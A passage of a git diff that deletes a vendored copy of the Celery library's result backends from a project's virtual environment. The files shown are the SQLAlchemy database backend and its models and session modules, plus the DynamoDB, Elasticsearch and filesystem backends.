- # ResultSet.iterate should sleep this much between each pool, - # to not bombard the database with queries. - subpolling_interval = 0.5 - - task_cls = Task - taskset_cls = TaskSet - - def __init__(self, dburi=None, engine_options=None, url=None, **kwargs): - # The `url` argument was added later and is used by - # the app to set backend by url (celery.app.backends.by_url) - super().__init__(expires_type=maybe_timedelta, - url=url, **kwargs) - conf = self.app.conf - - if self.extended_result: - self.task_cls = TaskExtended - - self.url = url or dburi or conf.database_url - self.engine_options = dict( - engine_options or {}, - **conf.database_engine_options or {}) - self.short_lived_sessions = kwargs.get( - 'short_lived_sessions', - conf.database_short_lived_sessions) - - schemas = conf.database_table_schemas or {} - tablenames = conf.database_table_names or {} - self.task_cls.configure( - schema=schemas.get('task'), - name=tablenames.get('task')) - self.taskset_cls.configure( - schema=schemas.get('group'), - name=tablenames.get('group')) - - if not self.url: - raise ImproperlyConfigured( - 'Missing connection string! Do you have the' - ' database_url setting set to a real value?') - - self.session_manager = SessionManager() - - create_tables_at_setup = conf.database_create_tables_at_setup - if create_tables_at_setup is True: - self._create_tables() - - @property - def extended_result(self): - return self.app.conf.find_value_for_key('extended', 'result') - - def _create_tables(self): - """Create the task and taskset tables.""" - self.ResultSession() - - def ResultSession(self, session_manager=None): - if session_manager is None: - session_manager = self.session_manager - return session_manager.session_factory( - dburi=self.url, - short_lived_sessions=self.short_lived_sessions, - **self.engine_options) - - @retry - def _store_result(self, task_id, result, state, traceback=None, - request=None, **kwargs): - """Store return value and state of an executed task.""" - session = self.ResultSession() - with session_cleanup(session): - task = list(session.query(self.task_cls).filter(self.task_cls.task_id == task_id)) - task = task and task[0] - if not task: - task = self.task_cls(task_id) - task.task_id = task_id - session.add(task) - session.flush() - - self._update_result(task, result, state, traceback=traceback, request=request) - session.commit() - - def _update_result(self, task, result, state, traceback=None, - request=None): - - meta = self._get_result_meta(result=result, state=state, - traceback=traceback, request=request, - format_date=False, encode=True) - - # Exclude the primary key id and task_id columns - # as we should not set it None - columns = [column.name for column in self.task_cls.__table__.columns - if column.name not in {'id', 'task_id'}] - - # Iterate through the columns name of the table - # to set the value from meta. - # If the value is not present in meta, set None - for column in columns: - value = meta.get(column) - setattr(task, column, value) - - @retry - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - session = self.ResultSession() - with session_cleanup(session): - task = list(session.query(self.task_cls).filter(self.task_cls.task_id == task_id)) - task = task and task[0] - if not task: - task = self.task_cls(task_id) - task.status = states.PENDING - task.result = None - data = task.to_dict() - if data.get('args', None) is not None: - data['args'] = self.decode(data['args']) - if data.get('kwargs', None) is not None: - data['kwargs'] = self.decode(data['kwargs']) - return self.meta_from_decoded(data) - - @retry - def _save_group(self, group_id, result): - """Store the result of an executed group.""" - session = self.ResultSession() - with session_cleanup(session): - group = self.taskset_cls(group_id, result) - session.add(group) - session.flush() - session.commit() - return result - - @retry - def _restore_group(self, group_id): - """Get meta-data for group by id.""" - session = self.ResultSession() - with session_cleanup(session): - group = session.query(self.taskset_cls).filter( - self.taskset_cls.taskset_id == group_id).first() - if group: - return group.to_dict() - - @retry - def _delete_group(self, group_id): - """Delete meta-data for group by id.""" - session = self.ResultSession() - with session_cleanup(session): - session.query(self.taskset_cls).filter( - self.taskset_cls.taskset_id == group_id).delete() - session.flush() - session.commit() - - @retry - def _forget(self, task_id): - """Forget about result.""" - session = self.ResultSession() - with session_cleanup(session): - session.query(self.task_cls).filter(self.task_cls.task_id == task_id).delete() - session.commit() - - def cleanup(self): - """Delete expired meta-data.""" - session = self.ResultSession() - expires = self.expires - now = self.app.now() - with session_cleanup(session): - session.query(self.task_cls).filter( - self.task_cls.date_done < (now - expires)).delete() - session.query(self.taskset_cls).filter( - self.taskset_cls.date_done < (now - expires)).delete() - session.commit() - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - kwargs.update( - {'dburi': self.url, - 'expires': self.expires, - 'engine_options': self.engine_options}) - return super().__reduce__(args, kwargs) diff --git a/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5c864dda..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/models.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/models.cpython-311.pyc deleted file mode 100644 index be342971..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/models.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/session.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/session.cpython-311.pyc deleted file mode 100644 index ad1f7997..00000000 Binary files a/backend/venv/Lib/site-packages/celery/backends/database/__pycache__/session.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/backends/database/models.py b/backend/venv/Lib/site-packages/celery/backends/database/models.py deleted file mode 100644 index a5df8f4d..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/database/models.py +++ /dev/null @@ -1,108 +0,0 @@ -"""Database models used by the SQLAlchemy result store backend.""" -from datetime import datetime, timezone - -import sqlalchemy as sa -from sqlalchemy.types import PickleType - -from celery import states - -from .session import ResultModelBase - -__all__ = ('Task', 'TaskExtended', 'TaskSet') - - -class Task(ResultModelBase): - """Task result/status.""" - - __tablename__ = 'celery_taskmeta' - __table_args__ = {'sqlite_autoincrement': True} - - id = sa.Column(sa.Integer, sa.Sequence('task_id_sequence'), - primary_key=True, autoincrement=True) - task_id = sa.Column(sa.String(155), unique=True) - status = sa.Column(sa.String(50), default=states.PENDING) - result = sa.Column(PickleType, nullable=True) - date_done = sa.Column(sa.DateTime, default=datetime.now(timezone.utc), - onupdate=datetime.now(timezone.utc), nullable=True) - traceback = sa.Column(sa.Text, nullable=True) - - def __init__(self, task_id): - self.task_id = task_id - - def to_dict(self): - return { - 'task_id': self.task_id, - 'status': self.status, - 'result': self.result, - 'traceback': self.traceback, - 'date_done': self.date_done, - } - - def __repr__(self): - return ''.format(self) - - @classmethod - def configure(cls, schema=None, name=None): - cls.__table__.schema = schema - cls.id.default.schema = schema - cls.__table__.name = name or cls.__tablename__ - - -class TaskExtended(Task): - """For the extend result.""" - - __tablename__ = 'celery_taskmeta' - __table_args__ = {'sqlite_autoincrement': True, 'extend_existing': True} - - name = sa.Column(sa.String(155), nullable=True) - args = sa.Column(sa.LargeBinary, nullable=True) - kwargs = sa.Column(sa.LargeBinary, nullable=True) - worker = sa.Column(sa.String(155), nullable=True) - retries = sa.Column(sa.Integer, nullable=True) - queue = sa.Column(sa.String(155), nullable=True) - - def to_dict(self): - task_dict = super().to_dict() - task_dict.update({ - 'name': self.name, - 'args': self.args, - 'kwargs': self.kwargs, - 'worker': self.worker, - 'retries': self.retries, - 'queue': self.queue, - }) - return task_dict - - -class TaskSet(ResultModelBase): - """TaskSet result.""" - - __tablename__ = 'celery_tasksetmeta' - __table_args__ = {'sqlite_autoincrement': True} - - id = sa.Column(sa.Integer, sa.Sequence('taskset_id_sequence'), - autoincrement=True, primary_key=True) - taskset_id = sa.Column(sa.String(155), unique=True) - result = sa.Column(PickleType, nullable=True) - date_done = sa.Column(sa.DateTime, default=datetime.now(timezone.utc), - nullable=True) - - def __init__(self, taskset_id, result): - self.taskset_id = taskset_id - self.result = result - - def to_dict(self): - return { - 'taskset_id': self.taskset_id, - 'result': self.result, - 'date_done': self.date_done, - } - - def __repr__(self): - return f'' - - @classmethod - def configure(cls, schema=None, name=None): - cls.__table__.schema = schema - cls.id.default.schema = schema - cls.__table__.name = name or cls.__tablename__ diff --git a/backend/venv/Lib/site-packages/celery/backends/database/session.py b/backend/venv/Lib/site-packages/celery/backends/database/session.py deleted file mode 100644 index 415d4623..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/database/session.py +++ /dev/null @@ -1,89 +0,0 @@ -"""SQLAlchemy session.""" -import time - -from kombu.utils.compat import register_after_fork -from sqlalchemy import create_engine -from sqlalchemy.exc import DatabaseError -from sqlalchemy.orm import sessionmaker -from sqlalchemy.pool import NullPool - -from celery.utils.time import get_exponential_backoff_interval - -try: - from sqlalchemy.orm import declarative_base -except ImportError: - # TODO: Remove this once we drop support for SQLAlchemy < 1.4. - from sqlalchemy.ext.declarative import declarative_base - -ResultModelBase = declarative_base() - -__all__ = ('SessionManager',) - -PREPARE_MODELS_MAX_RETRIES = 10 - - -def _after_fork_cleanup_session(session): - session._after_fork() - - -class SessionManager: - """Manage SQLAlchemy sessions.""" - - def __init__(self): - self._engines = {} - self._sessions = {} - self.forked = False - self.prepared = False - if register_after_fork is not None: - register_after_fork(self, _after_fork_cleanup_session) - - def _after_fork(self): - self.forked = True - - def get_engine(self, dburi, **kwargs): - if self.forked: - try: - return self._engines[dburi] - except KeyError: - engine = self._engines[dburi] = create_engine(dburi, **kwargs) - return engine - else: - kwargs = {k: v for k, v in kwargs.items() if - not k.startswith('pool')} - return create_engine(dburi, poolclass=NullPool, **kwargs) - - def create_session(self, dburi, short_lived_sessions=False, **kwargs): - engine = self.get_engine(dburi, **kwargs) - if self.forked: - if short_lived_sessions or dburi not in self._sessions: - self._sessions[dburi] = sessionmaker(bind=engine) - return engine, self._sessions[dburi] - return engine, sessionmaker(bind=engine) - - def prepare_models(self, engine): - if not self.prepared: - # SQLAlchemy will check if the items exist before trying to - # create them, which is a race condition. If it raises an error - # in one iteration, the next may pass all the existence checks - # and the call will succeed. - retries = 0 - while True: - try: - ResultModelBase.metadata.create_all(engine) - except DatabaseError: - if retries < PREPARE_MODELS_MAX_RETRIES: - sleep_amount_ms = get_exponential_backoff_interval( - 10, retries, 1000, True - ) - time.sleep(sleep_amount_ms / 1000) - retries += 1 - else: - raise - else: - break - self.prepared = True - - def session_factory(self, dburi, **kwargs): - engine, session = self.create_session(dburi, **kwargs) - self.prepare_models(engine) - return session() diff --git a/backend/venv/Lib/site-packages/celery/backends/dynamodb.py b/backend/venv/Lib/site-packages/celery/backends/dynamodb.py deleted file mode 100644 index 0423a468..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/dynamodb.py +++ /dev/null @@ -1,556 +0,0 @@ -"""AWS DynamoDB result store backend.""" -from collections import namedtuple -from ipaddress import ip_address -from time import sleep, time -from typing import Any, Dict - -from kombu.utils.url import _parse_url as parse_url - -from celery.exceptions import ImproperlyConfigured -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import boto3 - from botocore.exceptions import ClientError -except ImportError: - boto3 = ClientError = None - -__all__ = ('DynamoDBBackend',) - - -# Helper class that describes a DynamoDB attribute -DynamoDBAttribute = namedtuple('DynamoDBAttribute', ('name', 'data_type')) - -logger = get_logger(__name__) - - -class DynamoDBBackend(KeyValueStoreBackend): - """AWS DynamoDB result backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`boto3` is not available. - """ - - #: default DynamoDB table name (`default`) - table_name = 'celery' - - #: Read Provisioned Throughput (`default`) - read_capacity_units = 1 - - #: Write Provisioned Throughput (`default`) - write_capacity_units = 1 - - #: AWS region (`default`) - aws_region = None - - #: The endpoint URL that is passed to boto3 (local DynamoDB) (`default`) - endpoint_url = None - - #: Item time-to-live in seconds (`default`) - time_to_live_seconds = None - - # DynamoDB supports Time to Live as an auto-expiry mechanism. - supports_autoexpire = True - - _key_field = DynamoDBAttribute(name='id', data_type='S') - # Each record has either a value field or count field - _value_field = DynamoDBAttribute(name='result', data_type='B') - _count_filed = DynamoDBAttribute(name="chord_count", data_type='N') - _timestamp_field = DynamoDBAttribute(name='timestamp', data_type='N') - _ttl_field = DynamoDBAttribute(name='ttl', data_type='N') - _available_fields = None - - implements_incr = True - - def __init__(self, url=None, table_name=None, *args, **kwargs): - super().__init__(*args, **kwargs) - - self.url = url - self.table_name = table_name or self.table_name - - if not boto3: - raise ImproperlyConfigured( - 'You need to install the boto3 library to use the ' - 'DynamoDB backend.') - - aws_credentials_given = False - aws_access_key_id = None - aws_secret_access_key = None - - if url is not None: - scheme, region, port, username, password, table, query = \ - parse_url(url) - - aws_access_key_id = username - aws_secret_access_key = password - - access_key_given = aws_access_key_id is not None - secret_key_given = aws_secret_access_key is not None - - if access_key_given != secret_key_given: - raise ImproperlyConfigured( - 'You need to specify both the Access Key ID ' - 'and Secret.') - - aws_credentials_given = access_key_given - - if region == 'localhost' or DynamoDBBackend._is_valid_ip(region): - # We are using the downloadable, local version of DynamoDB - self.endpoint_url = f'http://{region}:{port}' - self.aws_region = 'us-east-1' - logger.warning( - 'Using local-only DynamoDB endpoint URL: {}'.format( - self.endpoint_url - ) - ) - else: - self.aws_region = region - - # If endpoint_url is explicitly set use it instead - _get = self.app.conf.get - config_endpoint_url = _get('dynamodb_endpoint_url') - if config_endpoint_url: - self.endpoint_url = config_endpoint_url - - self.read_capacity_units = int( - query.get( - 'read', - self.read_capacity_units - ) - ) - self.write_capacity_units = int( - query.get( - 'write', - self.write_capacity_units - ) - ) - - ttl = query.get('ttl_seconds', self.time_to_live_seconds) - if ttl: - try: - self.time_to_live_seconds = int(ttl) - except ValueError as e: - logger.error( - f'TTL must be a number; got "{ttl}"', - exc_info=e - ) - raise e - - self.table_name = table or self.table_name - - self._available_fields = ( - self._key_field, - self._value_field, - self._timestamp_field - ) - - self._client = None - if aws_credentials_given: - self._get_client( - access_key_id=aws_access_key_id, - secret_access_key=aws_secret_access_key - ) - - @staticmethod - def _is_valid_ip(ip): - try: - ip_address(ip) - return True - except ValueError: - return False - - def _get_client(self, access_key_id=None, secret_access_key=None): - """Get client connection.""" - if self._client is None: - client_parameters = { - 'region_name': self.aws_region - } - if access_key_id is not None: - client_parameters.update({ - 'aws_access_key_id': access_key_id, - 'aws_secret_access_key': secret_access_key - }) - - if self.endpoint_url is not None: - client_parameters['endpoint_url'] = self.endpoint_url - - self._client = boto3.client( - 'dynamodb', - **client_parameters - ) - self._get_or_create_table() - - if self._has_ttl() is not None: - self._validate_ttl_methods() - self._set_table_ttl() - - return self._client - - def _get_table_schema(self): - """Get the boto3 structure describing the DynamoDB table schema.""" - return { - 'AttributeDefinitions': [ - { - 'AttributeName': self._key_field.name, - 'AttributeType': self._key_field.data_type - } - ], - 'TableName': self.table_name, - 'KeySchema': [ - { - 'AttributeName': self._key_field.name, - 'KeyType': 'HASH' - } - ], - 'ProvisionedThroughput': { - 'ReadCapacityUnits': self.read_capacity_units, - 'WriteCapacityUnits': self.write_capacity_units - } - } - - def _get_or_create_table(self): - """Create table if not exists, otherwise return the description.""" - table_schema = self._get_table_schema() - try: - return self._client.describe_table(TableName=self.table_name) - except ClientError as e: - error_code = e.response['Error'].get('Code', 'Unknown') - - if error_code == 'ResourceNotFoundException': - table_description = self._client.create_table(**table_schema) - logger.info( - 'DynamoDB Table {} did not exist, creating.'.format( - self.table_name - ) - ) - # In case we created the table, wait until it becomes available. - self._wait_for_table_status('ACTIVE') - logger.info( - 'DynamoDB Table {} is now available.'.format( - self.table_name - ) - ) - return table_description - else: - raise e - - def _has_ttl(self): - """Return the desired Time to Live config. - - - True: Enable TTL on the table; use expiry. - - False: Disable TTL on the table; don't use expiry. - - None: Ignore TTL on the table; don't use expiry. - """ - return None if self.time_to_live_seconds is None \ - else self.time_to_live_seconds >= 0 - - def _validate_ttl_methods(self): - """Verify boto support for the DynamoDB Time to Live methods.""" - # Required TTL methods. - required_methods = ( - 'update_time_to_live', - 'describe_time_to_live', - ) - - # Find missing methods. - missing_methods = [] - for method in list(required_methods): - if not hasattr(self._client, method): - missing_methods.append(method) - - if missing_methods: - logger.error( - ( - 'boto3 method(s) {methods} not found; ensure that ' - 'boto3>=1.9.178 and botocore>=1.12.178 are installed' - ).format( - methods=','.join(missing_methods) - ) - ) - raise AttributeError( - 'boto3 method(s) {methods} not found'.format( - methods=','.join(missing_methods) - ) - ) - - def _get_ttl_specification(self, ttl_attr_name): - """Get the boto3 structure describing the DynamoDB TTL specification.""" - return { - 'TableName': self.table_name, - 'TimeToLiveSpecification': { - 'Enabled': self._has_ttl(), - 'AttributeName': ttl_attr_name - } - } - - def _get_table_ttl_description(self): - # Get the current TTL description. - try: - description = self._client.describe_time_to_live( - TableName=self.table_name - ) - except ClientError as e: - error_code = e.response['Error'].get('Code', 'Unknown') - error_message = e.response['Error'].get('Message', 'Unknown') - logger.error(( - 'Error describing Time to Live on DynamoDB table {table}: ' - '{code}: {message}' - ).format( - table=self.table_name, - code=error_code, - message=error_message, - )) - raise e - - return description - - def _set_table_ttl(self): - """Enable or disable Time to Live on the table.""" - # Get the table TTL description, and return early when possible. - description = self._get_table_ttl_description() - status = description['TimeToLiveDescription']['TimeToLiveStatus'] - if status in ('ENABLED', 'ENABLING'): - cur_attr_name = \ - description['TimeToLiveDescription']['AttributeName'] - if self._has_ttl(): - if cur_attr_name == self._ttl_field.name: - # We want TTL enabled, and it is currently enabled or being - # enabled, and on the correct attribute. - logger.debug(( - 'DynamoDB Time to Live is {situation} ' - 'on table {table}' - ).format( - situation='already enabled' - if status == 'ENABLED' - else 'currently being enabled', - table=self.table_name - )) - return description - - elif status in ('DISABLED', 'DISABLING'): - if not self._has_ttl(): - # We want TTL disabled, and it is currently disabled or being - # disabled. - logger.debug(( - 'DynamoDB Time to Live is {situation} ' - 'on table {table}' - ).format( - situation='already disabled' - if status == 'DISABLED' - else 'currently being disabled', - table=self.table_name - )) - return description - - # The state shouldn't ever have any value beyond the four handled - # above, but to ease troubleshooting of potential future changes, emit - # a log showing the unknown state. - else: # pragma: no cover - logger.warning(( - 'Unknown DynamoDB Time to Live status {status} ' - 'on table {table}. Attempting to continue.' - ).format( - status=status, - table=self.table_name - )) - - # At this point, we have one of the following situations: - # - # We want TTL enabled, - # - # - and it's currently disabled: Try to enable. - # - # - and it's being disabled: Try to enable, but this is almost sure to - # raise ValidationException with message: - # - # Time to live has been modified multiple times within a fixed - # interval - # - # - and it's currently enabling or being enabled, but on the wrong - # attribute: Try to enable, but this will raise ValidationException - # with message: - # - # TimeToLive is active on a different AttributeName: current - # AttributeName is ttlx - # - # We want TTL disabled, - # - # - and it's currently enabled: Try to disable. - # - # - and it's being enabled: Try to disable, but this is almost sure to - # raise ValidationException with message: - # - # Time to live has been modified multiple times within a fixed - # interval - # - attr_name = \ - cur_attr_name if status == 'ENABLED' else self._ttl_field.name - try: - specification = self._client.update_time_to_live( - **self._get_ttl_specification( - ttl_attr_name=attr_name - ) - ) - logger.info( - ( - 'DynamoDB table Time to Live updated: ' - 'table={table} enabled={enabled} attribute={attr}' - ).format( - table=self.table_name, - enabled=self._has_ttl(), - attr=self._ttl_field.name - ) - ) - return specification - except ClientError as e: - error_code = e.response['Error'].get('Code', 'Unknown') - error_message = e.response['Error'].get('Message', 'Unknown') - logger.error(( - 'Error {action} Time to Live on DynamoDB table {table}: ' - '{code}: {message}' - ).format( - action='enabling' if self._has_ttl() else 'disabling', - table=self.table_name, - code=error_code, - message=error_message, - )) - raise e - - def _wait_for_table_status(self, expected='ACTIVE'): - """Poll for the expected table status.""" - achieved_state = False - while not achieved_state: - table_description = self.client.describe_table( - TableName=self.table_name - ) - logger.debug( - 'Waiting for DynamoDB table {} to become {}.'.format( - self.table_name, - expected - ) - ) - current_status = table_description['Table']['TableStatus'] - achieved_state = current_status == expected - sleep(1) - - def _prepare_get_request(self, key): - """Construct the item retrieval request parameters.""" - return { - 'TableName': self.table_name, - 'Key': { - self._key_field.name: { - self._key_field.data_type: key - } - } - } - - def _prepare_put_request(self, key, value): - """Construct the item creation request parameters.""" - timestamp = time() - put_request = { - 'TableName': self.table_name, - 'Item': { - self._key_field.name: { - self._key_field.data_type: key - }, - self._value_field.name: { - self._value_field.data_type: value - }, - self._timestamp_field.name: { - self._timestamp_field.data_type: str(timestamp) - } - } - } - if self._has_ttl(): - put_request['Item'].update({ - self._ttl_field.name: { - self._ttl_field.data_type: - str(int(timestamp + self.time_to_live_seconds)) - } - }) - return put_request - - def _prepare_init_count_request(self, key: str) -> Dict[str, Any]: - """Construct the counter initialization request parameters""" - timestamp = time() - return { - 'TableName': self.table_name, - 'Item': { - self._key_field.name: { - self._key_field.data_type: key - }, - self._count_filed.name: { - self._count_filed.data_type: "0" - }, - self._timestamp_field.name: { - self._timestamp_field.data_type: str(timestamp) - } - } - } - - def _prepare_inc_count_request(self, key: str) -> Dict[str, Any]: - """Construct the counter increment request parameters""" - return { - 'TableName': self.table_name, - 'Key': { - self._key_field.name: { - self._key_field.data_type: key - } - }, - 'UpdateExpression': f"set {self._count_filed.name} = {self._count_filed.name} + :num", - "ExpressionAttributeValues": { - ":num": {"N": "1"}, - }, - "ReturnValues": "UPDATED_NEW", - } - - def _item_to_dict(self, raw_response): - """Convert get_item() response to field-value pairs.""" - if 'Item' not in raw_response: - return {} - return { - field.name: raw_response['Item'][field.name][field.data_type] - for field in self._available_fields - } - - @property - def client(self): - return self._get_client() - - def get(self, key): - key = str(key) - request_parameters = self._prepare_get_request(key) - item_response = self.client.get_item(**request_parameters) - item = self._item_to_dict(item_response) - return item.get(self._value_field.name) - - def set(self, key, value): - key = str(key) - request_parameters = self._prepare_put_request(key, value) - self.client.put_item(**request_parameters) - - def mget(self, keys): - return [self.get(key) for key in keys] - - def delete(self, key): - key = str(key) - request_parameters = self._prepare_get_request(key) - self.client.delete_item(**request_parameters) - - def incr(self, key: bytes) -> int: - """Atomically increase the chord_count and return the new count""" - key = str(key) - request_parameters = self._prepare_inc_count_request(key) - item_response = self.client.update_item(**request_parameters) - new_count: str = item_response["Attributes"][self._count_filed.name][self._count_filed.data_type] - return int(new_count) - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - chord_key = self.get_key_for_chord(header_result_args[0]) - init_count_request = self._prepare_init_count_request(str(chord_key)) - self.client.put_item(**init_count_request) - return super()._apply_chord_incr( - header_result_args, body, **kwargs) diff --git a/backend/venv/Lib/site-packages/celery/backends/elasticsearch.py b/backend/venv/Lib/site-packages/celery/backends/elasticsearch.py deleted file mode 100644 index 9e6f2655..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/elasticsearch.py +++ /dev/null @@ -1,283 +0,0 @@ -"""Elasticsearch result store backend.""" -from datetime import datetime, timezone - -from kombu.utils.encoding import bytes_to_str -from kombu.utils.url import _parse_url - -from celery import states -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - import elasticsearch -except ImportError: - elasticsearch = None - -try: - import elastic_transport -except ImportError: - elastic_transport = None - -__all__ = ('ElasticsearchBackend',) - -E_LIB_MISSING = """\ -You need to install the elasticsearch library to use the Elasticsearch \ -result backend.\ -""" - - -class ElasticsearchBackend(KeyValueStoreBackend): - """Elasticsearch Backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`elasticsearch` is not available. - """ - - index = 'celery' - doc_type = None - scheme = 'http' - host = 'localhost' - port = 9200 - username = None - password = None - es_retry_on_timeout = False - es_timeout = 10 - es_max_retries = 3 - - def __init__(self, url=None, *args, **kwargs): - super().__init__(*args, **kwargs) - self.url = url - _get = self.app.conf.get - - if elasticsearch is None: - raise ImproperlyConfigured(E_LIB_MISSING) - - index = doc_type = scheme = host = port = username = password = None - - if url: - scheme, host, port, username, password, path, _ = _parse_url(url) - if scheme == 'elasticsearch': - scheme = None - if path: - path = path.strip('/') - index, _, doc_type = path.partition('/') - - self.index = index or self.index - self.doc_type = doc_type or self.doc_type - self.scheme = scheme or self.scheme - self.host = host or self.host - self.port = port or self.port - self.username = username or self.username - self.password = password or self.password - - self.es_retry_on_timeout = ( - _get('elasticsearch_retry_on_timeout') or self.es_retry_on_timeout - ) - - es_timeout = _get('elasticsearch_timeout') - if es_timeout is not None: - self.es_timeout = es_timeout - - es_max_retries = _get('elasticsearch_max_retries') - if es_max_retries is not None: - self.es_max_retries = es_max_retries - - self.es_save_meta_as_text = _get('elasticsearch_save_meta_as_text', True) - self._server = None - - def exception_safe_to_retry(self, exc): - if isinstance(exc, elasticsearch.exceptions.ApiError): - # 401: Unauthorized - # 409: Conflict - # 500: Internal Server Error - # 502: Bad Gateway - # 504: Gateway Timeout - # N/A: Low level exception (i.e. socket exception) - if exc.status_code in {401, 409, 500, 502, 504, 'N/A'}: - return True - if isinstance(exc, elasticsearch.exceptions.TransportError): - return True - return False - - def get(self, key): - try: - res = self._get(key) - try: - if res['found']: - return res['_source']['result'] - except (TypeError, KeyError): - pass - except elasticsearch.exceptions.NotFoundError: - pass - - def _get(self, key): - if self.doc_type: - return self.server.get( - index=self.index, - id=key, - doc_type=self.doc_type, - ) - else: - return self.server.get( - index=self.index, - id=key, - ) - - def _set_with_state(self, key, value, state): - body = { - 'result': value, - '@timestamp': '{}Z'.format( - datetime.now(timezone.utc).isoformat()[:-9] - ), - } - try: - self._index( - id=key, - body=body, - ) - except elasticsearch.exceptions.ConflictError: - # document already exists, update it - self._update(key, body, state) - - def set(self, key, value): - return self._set_with_state(key, value, None) - - def _index(self, id, body, **kwargs): - body = {bytes_to_str(k): v for k, v in body.items()} - if self.doc_type: - return self.server.index( - id=bytes_to_str(id), - index=self.index, - doc_type=self.doc_type, - body=body, - params={'op_type': 'create'}, - **kwargs - ) - else: - return self.server.index( - id=bytes_to_str(id), - index=self.index, - body=body, - params={'op_type': 'create'}, - **kwargs - ) - - def _update(self, id, body, state, **kwargs): - """Update state in a conflict free manner. - - If state is defined (not None), this will not update ES server if either: - * existing state is success - * existing state is a ready state and current state in not a ready state - - This way, a Retry state cannot override a Success or Failure, and chord_unlock - will not retry indefinitely. - """ - body = {bytes_to_str(k): v for k, v in body.items()} - - try: - res_get = self._get(key=id) - if not res_get.get('found'): - return self._index(id, body, **kwargs) - # document disappeared between index and get calls. - except elasticsearch.exceptions.NotFoundError: - return self._index(id, body, **kwargs) - - try: - meta_present_on_backend = self.decode_result(res_get['_source']['result']) - except (TypeError, KeyError): - pass - else: - if meta_present_on_backend['status'] == states.SUCCESS: - # if stored state is already in success, do nothing - return {'result': 'noop'} - elif meta_present_on_backend['status'] in states.READY_STATES and state in states.UNREADY_STATES: - # if stored state is in ready state and current not, do nothing - return {'result': 'noop'} - - # get current sequence number and primary term - # https://www.elastic.co/guide/en/elasticsearch/reference/current/optimistic-concurrency-control.html - seq_no = res_get.get('_seq_no', 1) - prim_term = res_get.get('_primary_term', 1) - - # try to update document with current seq_no and primary_term - if self.doc_type: - res = self.server.update( - id=bytes_to_str(id), - index=self.index, - doc_type=self.doc_type, - body={'doc': body}, - params={'if_primary_term': prim_term, 'if_seq_no': seq_no}, - **kwargs - ) - else: - res = self.server.update( - id=bytes_to_str(id), - index=self.index, - body={'doc': body}, - params={'if_primary_term': prim_term, 'if_seq_no': seq_no}, - **kwargs - ) - # result is elastic search update query result - # noop = query did not update any document - # updated = at least one document got updated - if res['result'] == 'noop': - raise elasticsearch.exceptions.ConflictError( - "conflicting update occurred concurrently", - elastic_transport.ApiResponseMeta(409, "HTTP/1.1", - elastic_transport.HttpHeaders(), 0, elastic_transport.NodeConfig( - self.scheme, self.host, self.port)), None) - return res - - def encode(self, data): - if self.es_save_meta_as_text: - return super().encode(data) - else: - if not isinstance(data, dict): - return super().encode(data) - if data.get("result"): - data["result"] = self._encode(data["result"])[2] - if data.get("traceback"): - data["traceback"] = self._encode(data["traceback"])[2] - return data - - def decode(self, payload): - if self.es_save_meta_as_text: - return super().decode(payload) - else: - if not isinstance(payload, dict): - return super().decode(payload) - if payload.get("result"): - payload["result"] = super().decode(payload["result"]) - if payload.get("traceback"): - payload["traceback"] = super().decode(payload["traceback"]) - return payload - - def mget(self, keys): - return [self.get(key) for key in keys] - - def delete(self, key): - if self.doc_type: - self.server.delete(index=self.index, id=key, doc_type=self.doc_type) - else: - self.server.delete(index=self.index, id=key) - - def _get_server(self): - """Connect to the Elasticsearch server.""" - http_auth = None - if self.username and self.password: - http_auth = (self.username, self.password) - return elasticsearch.Elasticsearch( - f'{self.scheme}://{self.host}:{self.port}', - retry_on_timeout=self.es_retry_on_timeout, - max_retries=self.es_max_retries, - timeout=self.es_timeout, - http_auth=http_auth, - ) - - @property - def server(self): - if self._server is None: - self._server = self._get_server() - return self._server diff --git a/backend/venv/Lib/site-packages/celery/backends/filesystem.py b/backend/venv/Lib/site-packages/celery/backends/filesystem.py deleted file mode 100644 index 1a624f3b..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/filesystem.py +++ /dev/null @@ -1,112 +0,0 @@ -"""File-system result store backend.""" -import locale -import os -from datetime import datetime - -from kombu.utils.encoding import ensure_bytes - -from celery import uuid -from celery.backends.base import KeyValueStoreBackend -from celery.exceptions import ImproperlyConfigured - -default_encoding = locale.getpreferredencoding(False) - -E_NO_PATH_SET = 'You need to configure a path for the file-system backend' -E_PATH_NON_CONFORMING_SCHEME = ( - 'A path for the file-system backend should conform to the file URI scheme' -) -E_PATH_INVALID = """\ -The configured path for the file-system backend does not -work correctly, please make sure that it exists and has -the correct permissions.\ -""" - - -class FilesystemBackend(KeyValueStoreBackend): - """File-system result backend. - - Arguments: - url (str): URL to the directory we should use - open (Callable): open function to use when opening files - unlink (Callable): unlink function to use when deleting files - sep (str): directory separator (to join the directory with the key) - encoding (str): encoding used on the file-system - """ - - def __init__(self, url=None, open=open, unlink=os.unlink, sep=os.sep, - encoding=default_encoding, *args, **kwargs): - super().__init__(*args, **kwargs) - self.url = url - path = self._find_path(url) - - # Remove forwarding "/" for Windows os - if os.name == "nt" and path.startswith("/"): - path = path[1:] - - # We need the path and separator as bytes objects - self.path = path.encode(encoding) - self.sep = sep.encode(encoding) - - self.open = open - self.unlink = unlink - - # Let's verify that we've everything setup right - 